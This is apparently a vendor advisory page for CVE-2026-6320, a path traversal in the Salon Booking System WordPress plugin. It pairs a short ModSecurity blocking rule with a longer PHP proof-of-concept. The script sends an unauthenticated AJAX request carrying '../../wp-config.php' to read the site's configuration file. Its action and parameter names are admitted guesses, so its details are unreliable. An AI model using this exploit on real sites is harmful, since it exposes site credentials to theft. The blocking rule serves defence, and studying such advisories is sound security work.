CVE-2026-6320: Salon Booking System – Free Version <= 10.30.25 – Unauthenticated Arbitrary File Read via Booking File Field Path Traversal (salon-booking-system)

# Atomic Edge WAF Rule - CVE-2026-6320 (metadata-based)
# Blocks path traversal attempts in the booking file field for Salon Booking System plugin
# This rule blocks requests to the AJAX handler with path traversal sequences in the booking_file parameter

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:20269001,phase:2,deny,status:403,chain,msg:'CVE-2026-6320 - Salon Booking System Path Traversal via AJAX',severity:'CRITICAL',tag:'CVE-2026-6320',tag:'wordpress',tag:'salon-booking-system'"
    SecRule ARGS_POST:action "@streq sln_booking_submit" 
        "chain"
        SecRule ARGS_POST:booking_file "@rx ../" 
            "t:urlDecode,id:20269002,chain,msg:'Path traversal detected in booking file field'"
            SecRule ARGS_POST:booking_file "@rx ../" 
                "t:urlDecodeUni,id:20269003"

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6320 - Salon Booking System – Free Version <= 10.30.25 - Unauthenticated Arbitrary File Read via Booking File Field Path Traversal

<?php

/**
 * This proof-of-concept demonstrates how an unauthenticated attacker can exploit
 * a path traversal vulnerability in the Salon Booking System plugin (<=10.30.25).
 * The attacker submits a crafted file-field value to the booking form. The plugin
 * stores this value and later attaches the targeted file to a confirmation email.
 *
 * Assumptions:
 * 1. The publicly accessible booking form endpoint is known.
 * 2. The AJAX action name is something like 'sln_booking_ajax' or 'salon_booking_submit'.
 * 3. The parameter containing the file path is named 'booking_file' or 'file_path'.
 * 
 * Replace the placeholders below with actual values discovered through reconnaissance.
 */

// Configuration: set the target WordPress site URL
$target_url = 'http://example.com'; // Change this to the target site

// The AJAX action hook that processes the booking form (inferred from plugin slug)
$ajax_action = 'sln_booking_submit'; // Replace with actual action name if different

// The parameter name likely used for the file upload/selection (inferred from description)
$file_param = 'booking_file'; // Replace with actual parameter name if different

// Path traversal payload to read WordPress config file
$payload = '../../wp-config.php';

// Build the request URL (AJAX endpoint for unauthenticated requests)
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Craft the POST data as it would be sent by the booking form
$post_data = array(
    'action' => $ajax_action,
    $file_param => $payload,
    // Additional required booking fields (inferred; may vary)
    'name' => 'Attacker',
    'email' => 'attacker@example.com',
    'phone' => '1234567890',
    'date' => '2025-01-15',
    'time' => '10:00',
    'service' => '1'
);

// Initialize cURL session
$ch = curl_init();

// Set cURL options
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only; remove in production
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // For testing only; remove in production
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Execute the request
$response = curl_exec($ch);

// Check for errors
if (curl_errno($ch)) {
    echo '[!] cURL error: ' . curl_error($ch) . PHP_EOL;
} else {
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    echo '[*] HTTP Response Code: ' . $http_code . PHP_EOL;
    echo '[*] Response Body: ' . PHP_EOL . $response . PHP_EOL;
    echo '[*] Exploit attempted. Check the admin email inbox for the exfiltrated file (wp-config.php).' . PHP_EOL;
}

// Close cURL session
curl_close($ch);

?>